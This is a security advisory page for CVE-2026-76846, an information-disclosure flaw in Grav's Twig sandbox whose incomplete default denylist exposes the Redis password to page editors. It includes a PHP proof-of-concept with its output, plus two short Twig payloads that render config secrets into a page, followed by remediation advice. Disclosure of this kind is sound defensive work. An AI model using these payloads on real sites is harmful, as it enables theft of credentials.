CVE-2026-76846: Grav before 2.0.16 Information Disclosure via Twig Sandbox

Published Aug 25, 2026
·
Updated

Summary

system/config/security.yaml's default twigsandbox.configdeniedpaths list (plugins, streams, security, backups, scheduler) omits the system prefix. When an operator enables the documented, non-default twigcontent.configaccess: true setting (intended to safely expose low-sensitivity values like site.title to editor-authored Twig content), any real secret stored under system. , for example system.cache.redis.password , is also exposed, both via config.get(...) and via config.toArray(), to any user with page-edit permission.

This is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret exfiltration): that fix correctly introduced a SandboxConfig facade with a denylist, but the shipped default denylist is incomplete.

Environment used to verify

- Grav commit at HEAD of the default branch, GRAVVERSION 2.0.15 - PHP 8.3.6 with curl, zip, dom, gd extensions installed - Full composer install --no-dev run against the real repository (no mocked dependencies) so the actual Grav\Common\Config\Config and Grav\Common\Twig\Sandbox\SandboxConfig classes could be exercised directly

Commands run to set up the verification environment

bash git clone https://github.com/getgrav/grav.git cd grav

install missing PHP extensions required by composer.json apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd

composer.phar fetched directly from GitHub releases curl -sL -o /tmp/composer.phar \ "https://github.com/composer/composer/releases/latest/download/composer.phar"

COMPOSERALLOWSUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction

Proof of Concept

Confirmed the real, currently-shipped config field first, rather than assuming one:

bash grep -n "redis" -A3 system/config/system.yaml redis: socket: false password: # <- system.cache.redis.password, a real field database:

grep -n "cache.redis.password" -A6 system/blueprints/config/system.yaml cache.redis.password: # <- confirmed exposed in the admin UI as "REDIS Password" type: text

sandboxtest.php , loads the real classes via the real autoloader, no mocking of Config or SandboxConfig themselves:

php <?php require 'vendor/autoload.php';

use Grav\Common\Config\Config; use Grav\Common\Twig\Sandbox\SandboxConfig;

// Real field: system.cache.redis.password // (system/config/system.yaml line 138; blueprint in // system/blueprints/config/system.yaml, "cache.redis.password") $configTree = [ 'system' => [ 'cache' => [ 'driver' => 'redis', 'redis' => [ 'server' => '10.0.0.5', 'password' => 'REALREDISPASSWORDABC123SHOULDNOTLEAK', ], ], ], 'plugins' => [ 'someplugin' => ['apikey' => 'plugin-secret-should-be-blocked'], ], 'site' => ['title' => 'My Site'], ];

$config = new Config($configTree);

// exact default list shipped in system/config/security.yaml $defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler'];

$sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths);

echo "plugins.someplugin.apikey: "; vardump($sandboxConfig->get('plugins.someplugin.apikey', 'REDACTED'));

echo "system.cache.redis.password: "; vardump($sandboxConfig->get('system.cache.redis.password', 'REDACTED'));

printr($sandboxConfig->toArray());

Run:

bash php sandboxtest.php

Output:

plugins.someplugin.apikey: string(8) "REDACTED"

system.cache.redis.password: string(42) "REALREDISPASSWORDABC123SHOULDNOTLEAK"

Array ( [system] => Array ( [cache] => Array ( [driver] => redis [redis] => Array ( [server] => 10.0.0.5 [password] => REALREDISPASSWORDABC123SHOULDNOTLEAK )

)

)

[site] => Array ( [title] => My Site )

)

plugins. is correctly redacted; system.cache.redis.password is not, and appears in full both via targeted get() and via bulk toArray().

Confirming the Twig-reachable path is real

system/config/security.yaml's sandbox policy explicitly allow-lists SandboxConfig's methods for use inside sandboxed page-content templates:

yaml - class: 'Grav\Common\Twig\Sandbox\SandboxConfig' methods: 'get, toarray, value, offsetget, offsetexists'

So, with twigcontent.processenabled: true and twigcontent.configaccess: true both set (both documented, operator-controlled settings), a page containing:

twig {{ config.get('system.cache.redis.password') }}

or

twig {{ config.toArray() }}

renders the real Redis password directly into the page output for any user with page-edit permission.

Impact

Any site that (a) uses Redis for caching with a password set, and (b) has enabled the documented configaccess opt-in (intended only to expose things like site.title), exposes that Redis password , and potentially other future system. secrets , to every user with page-edit access, not just administrators. This defeats the purpose of the redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific combination of otherwise-legitimate settings.

Suggested fix

Add system to the default configdeniedpaths list in system/config/security.yaml, or invert the model to an allowlist (e.g. site, and any other subtree confirmed non-sensitive) so a future secret-bearing config key added under system. doesn't silently bypass the sandbox by default.

Affected component

- system/config/security.yaml, twigsandbox.configdeniedpaths default value - system/src/Grav/Common/Twig/Sandbox/SandboxConfig.php (behaves correctly given its input; the gap is in the default list passed to it)

Other sources

Grav before 2.0.16 contains an incomplete default denylist in the Twig sandbox configuration that fails to block access to system configuration secrets. Attackers with page-edit permission can use config.get() or config.toArray() in Twig templates to retrieve sensitive values like system.cache.redis.password when configaccess is enabled.

— MITRE

Affected Software

2 affected componentsFixes available
grav<2.0.16
composer/getgrav/grav<=2.0.15
2.0.16

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/getgrav/grav to a version that resolves this vulnerability.

    Fixed in 2.0.16
  2. Upgrade

    Upgrade getgrav/grav to a version that resolves this vulnerability.

    Fixed in 2.0.16
  3. Configuration

    In system/config/security.yaml, update the Twig sandbox denied paths default to include 'system' so secrets under system.* (e.g., system.cache.redis.password) are blocked from being read via Twig config.get()/config.toArray() when twig_content.config_access is enabled.

    Grav Twig Sandbox (SandboxConfig default denylist) twig_sandbox.config_denied_paths / config_denied_paths = Add 'system' to the default config_denied_paths list in system/config/security.yaml

Event History

Aug 25, 2026
CVE Published
via MITRE·01:30 AM
Data Sourced
via MITRE·01:30 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·02:16 AM
DescriptionSeverityWeakness
Sep 17, 2026
Advisory Published
via GitHub·08:27 PM
Data Sourced
via GitHub·08:27 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this issue?

Grav installations before 2.0.16 are affected when Twig sandboxing permits page editors and config_access is enabled. The attacker needs page-edit permission; exploitation does not require prior administrative access.

2

What information could an attacker obtain?

An attacker can use config.get() or config.toArray() in Twig templates to read system configuration values that the incomplete denylist does not block. This can include sensitive secrets such as system.cache.redis.password.

3

What can be done if updating is not immediately possible?

Disable config_access for page editors or otherwise remove their ability to edit pages containing Twig templates. This prevents the stated template-based access to configuration values.

4

How can I determine whether an installation may have been exposed?

Check whether the installation is running a Grav version earlier than 2.0.16, has config_access enabled, and grants page-edit permissions. Review Twig templates created or modified by page editors for calls to config.get() or config.toArray().

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203